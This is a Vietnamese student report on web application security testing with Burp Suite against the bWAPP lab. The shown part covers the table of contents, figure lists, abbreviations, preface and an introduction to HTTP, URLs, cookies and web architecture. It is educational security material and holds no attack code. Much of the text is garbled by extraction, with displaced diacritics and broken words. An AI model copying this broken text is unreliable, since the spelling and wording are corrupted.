IPS/IDS Intrusion Prevention System / Intrusion Detection System Hệ thống ngăn chặn/phát hiện xâm nhập IPSec IP Security Giao thức bảo mật tầng IP ISAPI Internet Server Application MIME
Trang 1TP H ồ Chí Minh, tháng 11 năm 2022
BÀI T P L N MÔN H C Ậ Ớ Ọ
KIỂ M TH AN TOÀN THÔNG TIN Ử
KIỂ M TH WEB APPLICATION B NG BURP SUITE Ử Ằ
Trang 3Tổng quan v b o mề ả ật ứng d ng ụWeb
1/11/2022 16/11/2022
Trang 4LỜI MỞ ĐẦU 1
CHƯƠNG 1 TỔNG QUAN VỀ BẢO MẬT ỨNG DỤNG WEB 2
1.1 G IỚI THI U VỆ Ề D CH VỊ Ụ WEB VÀ KIẾN TRÚC ỨNG D NG WEBỤ 2
1.1.1 Giao th c HTTP 2 ứ 1.1.2 Các thành ph n cầ ủa ứng d ng web 6 ụ 1.1.3 Ki n trúc cế ủa ứng d ng web 10 ụ 1.2 N GUYÊN T C B O MẮ Ả ẬT ỨNG D NG WEBỤ 12
1.2.1 Nguyên tắc chung 12
1.2.2 Các l p bớ ảo mật ứng d ng web 13 ụ 1.3 CÁC NGUY CƠ VÀ LỖ HỔNG B O MẢ ẬT TRONG NG D NG WEBỨ Ụ 15
1.3.1 Giới thiệu 15
1.3.2 10 nguy cơ và lỗ ổ h ng b o mả ật hàng đầu theo OWASP 16
1.4 CÁC PHƯƠNG PHÁP TIẾP C N BẬ ẢO M T ỨNG D NG WEBẬ Ụ 20
1.4.1 Kiểm tra dữ liệu đầu vào 20
1.4.2 Giảm thiểu các giao di n có th b t n công 20 ệ ể ị ấ 1.4.3 Phòng v theo chi u sâu 21 ệ ề 1.5 CÁC PHƯƠNG PHÁP ENSTEST VÀ ĐẶC ĐIỂ P M 21
1.5.1 Giới thiệu về các phương pháp Pentest 21
1.5.2 Đặc điểm của phương pháp Pentest Black box 21
1.5.3 Các bước tiến hành Pentest black box 22
1.5.4 Công c Pentest Black box Burp suite 23 ụ CHƯƠNG 2 CÁC DẠNG TẤN CÔNG THƯỜNG GẶP LÊN ỨNG DỤNG WEB 25
2.1 C HÈN MÃ HTML VÀ CROSS - SITE SCRIPTING 25
2.1.1 Khái quát 25
2.1.2 Các loại XSS 28
2.1.3 Các bi n pháp phòng chệ ống 34
2.1.4 M t s t n công 35 ộ ố ấ 2.2 C ROSS - SITE REQUEST FORGERY 38
2.2.1 Giới thiệu và k ch b n 38 ị ả 2.2.2 Phòng ch ng t n công CSRF 39 ố ấ 2.3 T ẤN CÔNG CHÈN MÃ SQL 40
2.3.1 Khái quát 40
2.3.2 Vượt qua các khâu xác thực người dùng 40
2.3.3 Chèn, sửa đổi, hoặc xóa dữ liệu 41
2.3.4 Đánh cắp các thông tin trong cơ sở dữ liệu 42
Trang 52.5.1 Giới thiệu 50
2.5.2 M t s d ng t n công khi m khuy t thiộ ố ạ ấ ế ế ết kế 51
2.5.3 Các bi n pháp phòng chệ ống 55
2.6 T ẤN CÔNG VÀO TRÌNH DUY T VÀ S Ệ Ự RIÊNG TƯ CỦA NGƯỜI DÙNG 56
2.6.1 Giới thiệu 56
2.6.2 Các d ng t n công vào trình duy t web và s ạ ấ ệ ự riêng tư người dùng 57
2.6.3 Các bi n pháp phòng chệ ống 58
2.7 MỘ T S CASEỐ - STUDY V L H Ề Ỗ ỔNG VÀ TẤN CÔNG NG D NG WEBỨ Ụ 60
2.7.1 Đánh lừa tính năng đổi mật khẩu 60
2.7.2 Tấn công tính năng đặt hàng 61
2.7.3 Xóa các b n ghi log 62 ả CHƯƠNG 3: THỰC NGHIỆM KIỂM THỬ WEB BWAPP 64
3.1 M Ô HÌNH THỰC NGHIỆM 64
3.1.1 Máy ch Web 64 ủ 3.1.2 Máy ki m thể ử Web 64
3.2 T HỰC NGHI M KI M TH Ệ Ể ỬW EB BWAPP V ỚI B URP S UITE 64
3.2.1 Thông tin v Web Bwapp 64 ề 3.2.2 Cấu trúc thư mục của Bwapp 65
3.2.3 Xác định các điểm vào của Bwapp 65
3.2.4 Xác định khả năng tấn công 66
3.2.5 Thực hiện Scan l h ng và in ra báo cáo v i Burp Suite 77 ỗ ổ ớ KẾT LUẬN 81 TÀI LIỆU THAM KH O 82Ả
Trang 6Hình 1.5 Các thành phần c a URI 8 ủ Hình 1.6 Các mô tơ script ASP và ASP.NET làm việc với máy chủ web Microsoft IIS
9
Hình 1.7 Lưu đồ xử lý yêu cầu tạo trang web động với nội dung lấy từ cơ sở ữ liệu 9 d Hình 1.8 Kiến trúc chu n cẩ ủa ứng d ng web 10 ụ Hình 1.9 Kiến trúc lô gic 3 l p cớ ủa ứng d ng web 11 ụ Hình 1.10 Các dạng ki n trúc ng d ng web 12 ế ứ ụ Hình 1.11 Các lớp b o mả ật ứng d ng web 13 ụ Hình 1.12 Lớp b o m t máy ch 14 ả ậ ủ Hình 1.13 Top 10 lỗ h ng b o mổ ả ật ứng d ng web theo OWASP (2017 và 2021) 15 ụ Hình 1.14 Tấn công khai thác l h ng chèn mã SQL 16 ỗ ổ Hình 1.15 Minh họa tấn công khai thác l i XSS 18 ỗ Hình 1.16 Quy trình thực hiện ki m th v i burp suite 24 ể ử ớ Hình 2.1 Các bước trong tấn công Stored XSS 29
Hình 2.2 Biểu di n ch y mã script trong t n công Reflected XSS 30 ễ ạ ấ Hình 2.3 Các bước trong tấn công Reflected XSS 31
Hình 2.4 Form đăng ký ban đầu trên trang example.com 33
Hình 2.5 Form đăng ký khi bị tấn công DOM-based XSS 33
Hình 2.6 Mã khai thác được kích hoạt trong tấn công DOM-based XSS 34
Hình 2.7 Mô hình tổng quát phòng ch ng t n công XSS 35 ố ấ Hình 2.8 Samy đã có gần 1 triệu bạn (Friend) trong khoảng 1 gi nhờ ờ t n công XSS 36 ấ Hình 2.9 Tấn công XSS thay đổi ảo hình thức/nội dung trang web 37
Hình 2.10 T n công khai thác lấ ỗi XSS trên www.google.com để ạ t o form nh p thông ậ tin thẻ tín dụng để mua rẻ tài khoản Google 37
Hình 2.11 Form đăng nhập (log on) và đoạn mã xử lý xác thực người dùng 40
Hình 2.12 Form tìm kiếm s n phả ẩm và đoạn mã x lý tìm s n ph m 41 ử ả ẩ Hình 2.13 Nghe lén bắt token của phiên b ng Tcpdump 46 ằ Hình 2.14 Nghe lén sử d ng Firesheep plug-in trong trình duy t 47 ụ ệ Hình 2.15 Xác thực sử d ng OpenID 49 ụ Hình 2.16 Sử dụng CAPTCHAR để xác thực trang 49
Hình 3.1 Cấu trúc Site Map 65
Hình 3.2 Xem request login.php 65
Hình 3.3 Đăng nhập Login 67
Hình 3.4 Bắt các request t trình duyừ ệt 67
Trang 7Hình 3.5 Gửi qua Intruder để thực hiệ ấn t n công 68
Hình 3.6 Bỏ ký t $ 68 ự Hình 3.7: Thêm ký tự $ vào trường để request 69
Hình 3.8 Chọn ki u t n công 69 ể ấ Hình 3.9 Chọn ki u Payload 70 ể Hình 3.10 Chọn file để test 70
Hình 3.11 Bắt đầu t n công 71 ấ Hình 3.12 Kết quả sau khi t n công vét c n 71 ấ ạ Hình 3.13 Đánh dấu các m u có chuỗi 72 ẫ Hình 3.14 Tấn công thành công 72
Hình 3.15 Tấn công XSS 73
Hình 3.16 Xem request đến proxy 73
Hình 3.17 Gửi m u request sang Intruder 74 ẫ Hình 3 18 Bỏ các ký t $ 74 ự Hình 3.19 Chọn ki u t n công XSS 74 ể ấ Hình 3.20 Bắt đầu t n công 75 ấ Hình 3.21 Kết quả sau khi t n công 75 ấ Hình 3.22 Xem URL khi tấn công thành công 75
Hình 3.23 Màn hình đường dẫn tấn công URL 76
Hình 3.24 Tấn công XSS thành công 76
Hình 3.25 Các bước để thực hiện Scan 77
Hình 3.26 Cấu hình để Scan 77
Hình 3.27 Thực hiện scan 1 l h ng 78 ỗ ổ Hình 3.28 Kết quả sau khi Scan 78
Hình 3.29 Thực hiện report 78
Hình 3.30 Chọn tham s xu t report 79 ố để ấ Hình 3.31 Xuất ra report 80
Trang 8DANH M C TỤ Ừ VIẾT TẮT
Từ vi ết tắt/
Thuật ng ữ Tiếng Anh Tiếng Việt/ Gi i thích ảACL Access Control List Danh sách điều khiển truy nh p ậAPI Application Programming
Interface Giao diện l p trình ng d ng ậ ứ ụASP Active Server Page Ngôn ngữ script h ỗ trợ trên các máy
chủ web Microsoft IIS ASP.NET Active Server Page NET
Ngôn ngữ script h ỗ trợ trên các máy chủ web Microsoft IIS với Net Framework
ATM Automatic Teller Machine Máy rút ti n t ng ề ự độBIOS Basic Input Output System Hệ thống vào ra cơ sở CGI Common Gateway Interface
Tên gọi chung c a mã script ch y trên ủ ạmáy chủ web để ử x lý nghi p v và ệ ụkết n i vố ới cơ sở ữ liệu d
Các phương thức làm yêu cầu của trình duyệt web
CSRF Cross-Site Request Fogery Tấn công gi m o yêu c u liên mi n ả ạ ầ ềCSS Cascade Style Sheet Mẫu định dạng cho trang web DNS Domain Name System Hệ thống tên mi n ề
DOM Document Object Model Mô hình đối tượng tài liệu HMAC Hash-based Message
Trang 9IPS/IDS Intrusion Prevention System /
Intrusion Detection System
Hệ thống ngăn chặn/phát hiện xâm nhập
IPSec IP Security Giao thức bảo mật tầng IP
ISAPI Internet Server Application
MIME Multipurpose Internet Mail
Extensions Các m r ng th ở ộ ư Internet đa mục đíchNAT Network Address Translation Giao thức dịch địa chỉ m ng ạ
OSI Open Systems Interconnection Mô hình kết nối các hệ thống m ởOTP One Time Password Mật khẩu mộ ần t l
OWASP Open Web Application
Security Project Dự án m v an toàn ng d ng web ở ề ứ ụSSL/TLS Secure Socket Layer /
Transport Layer Security
Các giao thức bảo mật thông tin SSL/TLS
SSO Single Sign On Đăng nhập một lần TCP/IP Transfer Control Protocol /
Internet Protocol
Bộ giao thức TCP/IP
TDE Transparent Data Encryption Mã hóa dữ liệu trong suốt
Web Browser / Web Client Trình duyệt web / Máy khách web
URI Uniform Resource Identifier Tên nhận dạng tài nguyên đồng nhất URL Uniform Resource Locator Bộ định vị tài nguyên đồng nhất URN Uniform Resource Name Tên tài nguyên đồng nhất XML Xtensible Markup Language Ngôn ngữ đánh dấu mở rộng XSS Cross-Site Scripting Tấn công liên mi n s d ng mã script ề ử ụWAF Web Application Firewall Tường lử ứa ng dụng web
Trang 10LỜI MỞ ĐẦU
Ngày nay, công ngh thông tin nói chung và công ngh ph n mệ ệ ầ ềm nói riêng đã chiếm m t v trí quan tr ng trong ti n trình công nghi p hoá, hiộ ị ọ ế ệ ện đại hoá đất nước Song song v i vi c phát tri n công ngh ph n m m luôn tiớ ệ ể ệ ầ ề ềm ẩn nh ng thách th c cho ữ ứdành các doanh nghi p, nhà phát tri n ph n m m trong vi c ki m soát l i, chệ ể ầ ề ệ ể ỗ ất lượng đầu ra của sản phẩm Nguyên nhân gây thiệt hại về kinh tế và xã hội trong phần mềm không ch là l i v b o m t mà còn là l i v m t chỉ ỗ ề ả ậ ỗ ề ộ ức năng nào đó trong sản ph m ẩKiểm th ph n m m là m t quá trình liên t c, xuyên su t mử ầ ề ộ ụ ố ọi giai đoạn phát tri n ph n ể ầmềm để đảm b o r ng ph n mả ằ ầ ềm th a mãn yêu c u thi t k và yêu cỏ ầ ế ế ầu đó đáp ứng được nhu c u cầ ủa ngườ ử ụi s d ng Các kỹ thuật ki m th ph n mể ử ầ ềm đang được nghiên cứu và việc ki m th ph n m m trể ử ầ ề ở thành quy trình b t bu c trong các d án phát tri n ph n ắ ộ ự ể ầmềm trên th gi i Burp Suite là m t trong nh ng công c hế ớ ộ ữ ụ ỗ trợ ki m th t bể ử ự ằng phương pháp Black Box cho các ứng dụng Web, hoạt động trên hầu hết các trình duyệt phổ biến như Firefox, Chrome, … Với nhiều ưu điểm của Burp Suite cho nên nhóm đã chọn đề tài “Kiểm thử Web Application bằng Burp Suite”
Nội dung tiếp theo c a luủ ận văn này được chia làm 04 phần như sau:
Chương 1: Tổng quan về bảo mật ứng dụng Web Chương này sẽ giới thi u v ệ ềdịch vụ và ki n trúc ng d ng Web, nguyên t c b o mế ứ ụ ắ ả ật và các phương pháp tiếp cận để bảo mật ứng dụng Web
Chương 2: Các dạng tấn công thường g p lên ng dặ ứ ụng Web Chương này đề cập
đến các dạng tấn công ph biến lên ứng dụng web, bao gồm tấn công chèn mã HTML ổ
và XSS, t n công gi m o yêu c u liên mi n (CSRF), tấ ả ạ ầ ề ấn công chèn mã SQL,…
Chương 3: Thực hiện kiểm thử Web Bwapp Chương này sẽ thực hi n mô hình ệ
để kiểm thử và thực hiện kiểm thử v i các chức năng của Burp Suite ớ
Kết luận c a bài t p l n ủ ậ ớ
Trang 11CHƯƠNG 1 TỔNG QUAN VỀ BẢO MẬT ỨNG DỤNG WEB
Chương 1 giới thiệu khái quát về giao thức HTTP, dịch vụ web, các thành phần
c ủa dịch v web và ki n trúc c a ng d ng web Ph n ti p theo cụ ế ủ ứ ụ ầ ế ủa chương trình bày
v ề nguyên t c b o mắ ả ật ứng dụng web và các nguy cơ và lỗ h ng b o m t trong ng d ng ổ ả ậ ứ ụ
Web Trong ph n cuầ ối, chương 1 đề ập đến các phương pháp tiế c p c n b o mậ ả ật ứ ng
d ụng web và quy trình ki ểm thử ớ v i Burp Suite
1.1 Gi i thiớ ệu về ị d ch v web và ki n trúc ụ ế ứng dụ ng web 1.1.1 Giao th c HTTP ứ
1.1.1.1 Gi i thi u ớ ệHTTP (Hyper-Text Transfer Protocol) là giao th c thu c t ng ứ ộ ầ ứng d ng thu c b ụ ộ ộgiao thức TCP/IP được sử d ng cho truyụ ền siêu văn b n (Hyper-Text) c a các ả ủ ứng d ng ụweb (Web applications) Ngoài HTTP, HTTPS (Secure HTTP) còn được sử dụng cho các ứng d ng web có yêu cụ ầu đảm b o an toàn thông tin truy n gi a máy khách (Client) ả ề ữ
và máy ch (Server) C ng d ch vủ ổ ị ụ chuẩn c a HTTP là 80 và c ng d ch vủ ổ ị ụ chuẩn của HTTPS là 443 Hình 1.1 mô t v trí giao th c HTTP trong b giao th c TCP/IP và mô ả ị ứ ộ ứhình tham chi u OSI Hình 1.1 Giao th c HTTP trong b giao th c TCP/IP và mô hình ế ứ ộ ứtham chi u OSI ế
Hình 1.1 Giao th ức HTTP trong b giao th c TCP/IP và mô hình tham chi u OSI ộ ứ ế
Trang 12Giao th c HTTP hoứ ạt động theo ki u yêu c u ể ầ – đáp ứng (request - response) trong
mô hình giao ti p khách ế – chủ (client server) Hình 1.2 mô t quá trình máy khách – ả(Web Browser) g i yêu c u (requesử ầ t) đến máy ch (HTTP Server) thông qua k t nủ ế ối mạng Theo đó, máy khách tạo một yêu cầu (GET request) và gửi xuống tầng HTTP, tiếp theo yêu cầu được đóng gói và chuyển tiếp đến các l p h t ng m ng thông qua các ớ ạ ầ ạlớp v n chuy n (TCP) và mậ ể ạng (IP) để đến máy chủ HTTP ở ổng bi t tr c ế ước (Well-known port) Thông thường, c ng biổ ết trước là cổng giao ti p c a máy ch HTTP ế ủ ủ – các cổng s 80 ho c 443 Máy ch HTTP ti p nhố ặ ủ ế ận yêu cầu để ử lý x
Hình 1.2 Máy khách (Web Browser) g i yêu c u ử ầ (request) đến máy ch (HTTP ủ
Server)
Hình 1.3 Máy ch (HTTP Server) x ủ ử lý yêu cầ u và gửi đáp ứng (response) đến máy
khách (Web Browser)
Trang 13Hình 1.3 mô t quá trình máy ch (HTTP Server) x lý yêu c u và gả ủ ử ầ ửi đáp ứng (response) đến máy khách (Web Browser) Khi nhận được yêu cầu truy nh p một trang ậweb, máy ch ủ tiến hành x lý: nử ếu đó là yêu cầu một trang web tĩnh có nội dung c ố định, máy ch sủ ẽ đọc n i dung trang t hộ ừ ệ thống file c c b cụ ộ ủa mình để ạo thành đáp ứ t ng (HTTP Response) và gửi cho máy khách qua t ng HTTP, tiầ ếp theo đáp ứng được đóng gói và chuy n tiể ếp đến các l p h t ng m ng thông qua các l p v n chuy n (TCP) và ớ ạ ầ ạ ớ ậ ểmạng (IP) để đến t ng HTTP phía máy khách và cuầ ối cùng được chuyển cho máy khách (Web Browser) để hiển trị kết qu Trên thực tế, nhiều ứng dụng web lưu nội dung các ảtrang web trong các cơ sở d ữ liệu, nên vi c giao ti p gi a máy khách (Web Browser) và ệ ế ữmáy ch (HTTP Server) có s tham gia c a các chủ ự ủ ương trình chạy trên máy ch (CGI ủProgram) truy nhập cơ sở ữ liệ d u, như minh họa trên Hình 1.4.
Cho đến hi n nay, có 2 phiên b n c a HTTP, g m HTTP/1.0 (mô t trong chu n ệ ả ủ ồ ả ẩRFC-1945) và HTTP/1.1 (mô t trong chu n RFC-2616) HTTP/1.1 là b n ch nh sả ẩ ả ỉ ửa của HTTP/1.0 và điểm khác biệt chính của HTTP/1.1 so với bản gốc HTTP/1.0 là HTTP/1.0 sử d ng m t k t n i m i cho m t cụ ộ ế ố ớ ộ ặp trao đổi yêu cầu / đáp ứng, trong khi HTTP/1.1 sử d ng m t k t nụ ộ ế ối m i cho một, hoặc nhiều cớ ặp trao đổi yêu cầu / đáp ứng
Hình 1.4 Kiến trúc cơ bản c a mủ ột ứ ng d ng web ụ
1.1.1.2 Các đặc điểm cơ bản
Giao thức HTTP có 3 đặc điểm cơ bản, bao g m không h ng k t nồ ướ ế ối, độ ập c lvới thông tin truy n và không tr ng thái Chi tiề ạ ết các đ c điểm trên như sau: ặ
Trang 14- Không k t n i (Connectionless): Máy khách và máy ch HTTP giao ti p theo ế ố ủ ếtheo ki u yêu c u ể ầ – đáp ứng, mà không duy trì k t n i liên t c gi a hai bên C ế ố ụ ữ ụthể, máy khách HTTP, hay trình duy t kh i t o và g i m t yêu cệ ở ạ ử ộ ầu đến máy ch ủHTTP, và sau khi g i yêu c u, máy khách ng t k t n i kh i máy ch và chử ầ ắ ế ố ỏ ủ ờ đợi phản h i Máy chồ ủ x lý yêu c u, thi t l p l i k t n i và g i ph n hử ầ ế ậ ạ ế ố ử ả ồi đến máy khách
- Độ ậc l p v i thông tin truyớ ền (Media independent): Điều này có nghĩa là bấ ỳt k loại d ữ liệu nào đều có th truy n thông qua HTTP, vể ề ới điều ki n c máy khách và ệ ảmáy ch bi t cách x lý n i dung c a dủ ế ử ộ ủ ữ liệu HTTP yêu c u c máy ch và máy ầ ả ủkhách ch rõ ki u n i dung c a d ỉ ể ộ ủ ữ liệu s d ng khai báo ki u MINE (Multipurpose ử ụ ểInternet Mail Extensions)
- Không tr ng thái (Statạ eless): HTTP là giao thức không tr ng thái hay không có ạnhớ, có nghĩa là máy khách và máy chủ nhận biết về sự tồn tại của nhau chỉ trong yêu c u hi n tầ ệ ại Sau đó, cả hai đều “quên” ngay s tự ồn tạ ủi c a nhau Do b n chả ất này c a HTTP, không máy khách, ho c trình duy t nào có th l u gi thông tin ủ ặ ệ ể ư ữgiữa các yêu cầu khác nhau đến các trang web
1.1.1.3 Các phương thức
Giao th c HTTP hứ ỗ trợ ộ ố phương thức (method) để m t s máy khách có th gể ửi yêu c u lên máy ch Các phầ ủ ương thức bao gồm: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS và TRACE Ph n ti p theo mô t v n t t v t t c các phầ ế ả ắ ắ ề ấ ả ương thức này
GET được sử dụng để truy vấn thông tin từ máy chủ sử dụng một địa chỉ web Các yêu c u s d ng phầ ử ụ ương thức GET ch nên truy v n dỉ ấ ữ liệu và không nên có nh ảhưởng (thay đổi) đến dữ liệu
HEAD tương tự như phương thức GET, nhưng chỉ có dòng trạng thái và phần tiêu đề được chuy n từ máy chủ n máy khách ể đế
POST được s dử ụng để g i d ử ữ liệu đến máy ch , ch ng h n thông tin khách hàng, ủ ẳ ạfile tải lên,… được g i lên máy ử chủ ử ụ s d ng HTML form PUT được s dử ụng để thay thế tất cả các bi u di n hi n tể ễ ệ ại của tài nguyên đích bằng n i dung t i lên ộ ả
Trang 15DELETE được sử dụng để xóa tất cả các biểu diễn hiện tại của tài nguyên đích cho bởi một địa chỉ web
CONNECT được s dử ụng để thiết lập đường hầm t i máy ch ớ ủ được xác định bởi một địa chỉ web nhất định
OPTIONS được s dử ụng để mô t các tùy ch n truyả ọ ền thông cho tài nguyên đích TRACE được sử dụng để thực hi n m t phép ki m tra vòng l p l i (loop-back) ệ ộ ể ặ ạtheo đường dẫn đến tài nguyên đích
1.1.2 Các thành ph n c a ầ ủ ứng dụ ng web
Một ứng d ng web (Web application) có th g m các thành ph n: Máy khách ụ ể ồ ầweb/trình duyệt web (Web client/web browser), Máy ch web (HTTP/web server), ủURL/URI, Web session và cookie, Bộ di n d ch và th c hi n các server script, Các ễ ị ự ệserver script (CGI Common Gateway Interface), Máy ch– ủ cơ sở ữ liệ d u và H t ng ạ ầmạng TCP/IP k t n i gi a máy khách và máy chế ố ữ ủ web
1.1.2.1 Trình duy t web ệTrình duy t web là b ph n m m ch y trên máy khách có chệ ộ ầ ề ạ ức năng tạo yêu c u, ầgửi yêu c u và hi n th ph n hầ ể ị ả ồi/kết quả trả v t máy chề ừ ủ web Các phương thức yêu cầu bao g m: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS và TRACE ồTrong số các phương thức trên, ba phương thức GET, HEAD và POST được s d ng ử ụphổ biến hơn cả Trình duyệt web có kh ả năng hiển th nhi u lo i d ị ề ạ ữ liệu c a trang web: ủvăn bản, hình ảnh, âm thanh, video, Trình duyệt cũng hỗ trợ khả năng lập trình bằng các ngôn ngữ script (như javascript), xử lý các ngôn ng HTML, XML, CSS, M t s ữ ộ ốtrình duy t thông d ng bao g m: Microsoft Internet Explorer, Google Chrome, Mozilla ệ ụ ồFirefox, Opera, Apple Safari,
1.1.2.2 Máy ch web ủMáy ch web ti p nh n yêu c u t trình duy t web, x lý yêu c u và tr vủ ế ậ ầ ừ ệ ử ầ ả ề đáp ứng Các đáp ứng thường là các trang web Nếu là yêu cầu truy nhập các file tĩnh, máy chủ web truy nh p h ậ ệ thống file c c bụ ộ, đọc n i dung file và g i k t qu cho trình duyộ ử ế ả ệt Nếu là yêu c u truy nh p các file script, máy ch web chuy n các script cho b x lý ầ ậ ủ ể ộ ửscript Script có thể bao g m các l nh truy nh p ồ ệ ậ cơ sở ữ liệu để ử d x lý dữ liệu K t qu ế ả
Trang 16thực hiện script được chuy n l i cho máy ch ể ạ ủ web để tạo thành đáp ứng và g i cho trình ửduyệt Một s mã trố ạng thái đáp ứng thường g p c a máy ch web: ặ ủ ủ
- 200: thành công
- 404: l i không tìm th y file/d u ỗ ấ ữ liệ
- 403: lỗi cấm truy nh p ậ
- 500: lỗi xử lý script trên máy ch ủ
Có nhi u lo i máy chề ạ ủ web được tri n khai s d ng trên th c tể ử ụ ự ế, trong đó các máy chủ web thông d ng nh t bao g m: Mozilla Apache web server, ụ ấ ồ Microsoft Internet Information Services (IIS), nginx (NGINX, Inc), Google web services, IBM Websphere
và Oracle web services
1.1.2.3 URL và URI
URL (Uniform Resource Locator) còn gọi là địa ch web, là m t chu i ký t cho ỉ ộ ỗ ựphép tham chiếu đến m t tài nguyên D ng thông d ng c a URL: ộ ạ ụ ủscheme://domain:port/path?query_string#fragment_id, trong đó:
- scheme: ch giao th c truy nh p (http, https, ftp, ) ỉ ứ ậ
- domain: tên mi n, ví d www.google.com ề ụ
- port: s hi u c ng d ch v ; v i c ng chu n (http 80 ho c https 443) thì không c n ố ệ ổ ị ụ ớ ổ ẩ ặ ầchỉ ra s hiệu cổng ố
- path: đường d n n tên file/trang ẫ đế
- ?query_string: chu i truy v n, g m m t ho c m t s c p tên bi n=giá tr Ký t ỗ ấ ồ ộ ặ ộ ố ặ ế ị ự
và (&) được dùng để ngăn cách các cặp
- fragment_id: m t tên liên kộ ết định v ị đoạn trong trang
Trang 17URI (Uniform Resource Identifier) là m t chu i ký tộ ỗ ự dùng để nhận d ng mạ ột
địa ch web hoặc một tên URI có thể là URL hoặc URN (Uniform Resource Name), ỉtrong đó URN được dùng để nhận dạng tên của tài nguyên, còn URL được dùng để tìm địa ch , ho c v trí c a tài nguyên Hình 1.5 bi u di n các thành ph n URL và URN trong ỉ ặ ị ủ ể ễ ầURI
Hình 1.5 Các thành ph n c a URI ầ ủ
1.1.2.4 Web session và cookie
Web session (phiên làm vi c web) là m t k thu t cho phép t o ra ệ ộ ỹ ậ ạ ứng dụng web
có tr ng thái (stateful) v n hành trên giao th c HTTP không tr ng thái ạ ậ ứ ạ (stateless) Máy chủ web tạo ra và lưu một chuỗi định danh (ID) cho mỗi phiên (Session) theo yêu cầu của máy khách Phiên cho phép máy ch web nhủ ận dạng người dùng và xâu chu i các ỗyêu c u HTTP c a mầ ủ ỗi người dùng Th i gian hoờ ạt động c a m i phiên tùy thu c vào ủ ỗ ộcấu hình máy ch web Ví dủ ụ, sau đăng nhập thành công, máy ch web t o m t phiên ủ ạ ộlàm việc cho người dùng và không yêu cầu thông tin đăng nhập v i các yêu c u truy ớ ầnhập tiếp theo cho đến khi k t thúc phiên làm viế ệc
Cookie còn g i là HTTP cookie, hay Browser cookie là m t m u thông tin do ọ ộ ẩwebsite gửi xuống và được lưu trên trình duyệt khi người dùng thăm website Khi người dùng thăm website trong tương lai, website có thể đọ ại thông tin trong cookie để ết c l bicác hoạt động trước đó của ng i dùng ườ Cookie thường được s dử ụng để lưu thông tin phiên làm vi c và duy trì tr ng thái phiên làm việ ạ ệc
1.1.2.5 B di n d ch và thộ ễ ị ực hiệ n các server script
Các b di n d ch và th c hiộ ễ ị ự ện các server script (script engine), hay mô tơ script
có nhiệm vụ ạ n p, dịch và th c hi n t ng dòng l nh script trên máy ch web Do h u hự ệ ừ ệ ủ ầ ết các mô tơ script làm việc theo ch ế độ thông d ch (interpretation) nên tị ốc độ thường chậm
so v i các ng dớ ứ ụng đã được biên d ch ra mã th c hi n Nói chung, nhi u b di n dị ự ệ ề ộ ễ ịch
Trang 18và thực hiện các server script có thể được cài đặt và làm việc với m t máy ch web Có ộ ủthể k ể đến một s ố mô tơ script thông dụng: Microsoft ASP, ASP.NET, PHP engine, Perl, Python engine, JVM/JSP Hình 1.6 bi u diể ễn mô hình các mô tơ script ASP và ASP.NET làm việc với máy chủ web Microsoft IIS.
Hình 1.6 Các mô tơ script ASP và ASP.NET làm việc với máy chủ web Microsoft IIS
1.1.2.6 Các server script
Các server script là các đoạn mã được nhúng vào các trang web HTML để thực hiện các công vi c xệ ử lý ữ liệ d u và tr v k t quả ề ế ả để t o n i dung cho trang web Các ạ ộserver script được máy chủ web chuyển cho các mô tơ script để dịch và thực hiện Kết quả thực hiện script được chuy n l i cho máy ch web Mể ạ ủ ột s ngôn ng l p trình cho ố ữ ậserver script: ASP (VBScript), ASP.NET (C#), PHP, Perl, Python, JSP (Java),…
1.1.2.7 Máy ch ủ cơ sở ữ liệ d u
Hình 1.7 Lưu đồ x ử lý yêu cầu tạo trang web động v ới nội dung l ấy từ cơ sở ữ liệ d u
Trang 19Máy chủ cơ sở ữ liệ d u thường đượ ử ụng đểc s d qu n trả ị các cơ ở ữ liệ s d u chứa
dữ liệu tạo các trang web động Một trang web động là trang web mà nội dung của nó chỉ được t o ra khi có yêu c u t ng i dùng thông qua máy khách N i dung c a các ạ ầ ừ ườ ộ ủtrang web động thường được lưu trữ trong cơ sở dữ liệu Khi có yêu cầu truy vấn của người dùng, máy ch web th c hiủ ự ện các server script để truy nh p và x lý d ậ ử ữ liệu t ừ cơ
sở dữ liệu K t quế ả thực hiện script được chuy n lể ại cho web server để ạ t o n i dung ộtrang web Hình 1.7 bi u di n lể ễ ưu đồ ử x lý yêu c u tầ ạo trang web động với nội dung lấy
từ cơ sở ữ liệ d u
1.1.2.8 H t ng m ng ạ ầ ạ
H t ng m ng g m t t c các thi t b m ng t o thành hạ ầ ạ ồ ấ ả ế ị ạ ạ ệ thống truy n thông kề ết nối máy chủ web v i máy khách web Các thi t m ng có th g m: switch, router, ớ ế ạ ể ồfirewall, cables,…
1.1.3 Ki n trúc c a ế ủ ứng dụ ng web
Hình 1.8 Ki n trúc chu n c a ng d ng web ế ẩ ủ ứ ụHình 1.8 biểu di n ki n trúc chu n cễ ế ẩ ủa hệ thống ng d ng web (hay ng n g n là ứ ụ ắ ọ
ứng dụng web), trong đó mô tả các thành phần của một ng d ng web và giao ti p giứ ụ ế ữa chúng Theo đó, các thành phần c a mủ ột ứng d ng web g m Web Browser (Trình duyụ ồ ệt), Web Server (Máy ch web), Application Server (Máy chủ ủ ứng d ng), Data (Kho chụ ứa
dữ liệu – thường là cơ sở d u), File System (H ữ liệ ệ thống file trên máy ch ) và External ủSystem (Các h ệ thống bên ngoài) Web Browser t o và g i yêu c u v trang web (Page ạ ử ầ ềRequest) đến Web Server Nếu đó là yêu cầu trang web tĩnh, Web Server sẽ đọc nội dung trang từ File System và g i trang web cho Web Browser Nử ếu đó là yêu cầu trang
Trang 20web động, Web Server sẽ chuyển yêu cầu cho Application Server xử lý Application Server s d ch và th c hiẽ ị ự ện mã script trong trang web để tạo k t qu Application Server ế ả
có th c n truy nh p Data, File System, hoể ầ ậ ặc External System để xử lý yêu c u K t qu ầ ế ả
xử lý yêu cầu được chuy n lể ại cho Web Server để t o trang web và g i cho Web Browser ạ ử[1]
Hình 1.9 bi u di n ki n trúc lô gic g m 3 l p cể ễ ế ồ ớ ủa ứng d ng web Theo mô hình ụkiến trúc này, ng dứ ụng web được chia thành 3 lớp chính: lớp trình di n (Presentation ễLayer – PL/UI), l p lô gic nghi p v (Business Logic Layer BLL) và l p truy nh p d ớ ệ ụ – ớ ậ ữliệu (Data Access Layer - DAL) L p trình di n bao gớ ễ ồm các điều khi n (Controls), mể ẫu (Forms), hình nh (Images) và d ả ữ liệu đa phương tiện (Media) có trách nhi m bi u di n ệ ể ễ
dữ liệu đến người dùng Lớp lô gic nghiệp vụ có nhiệm vụ xử lý dữ liệu theo các quy
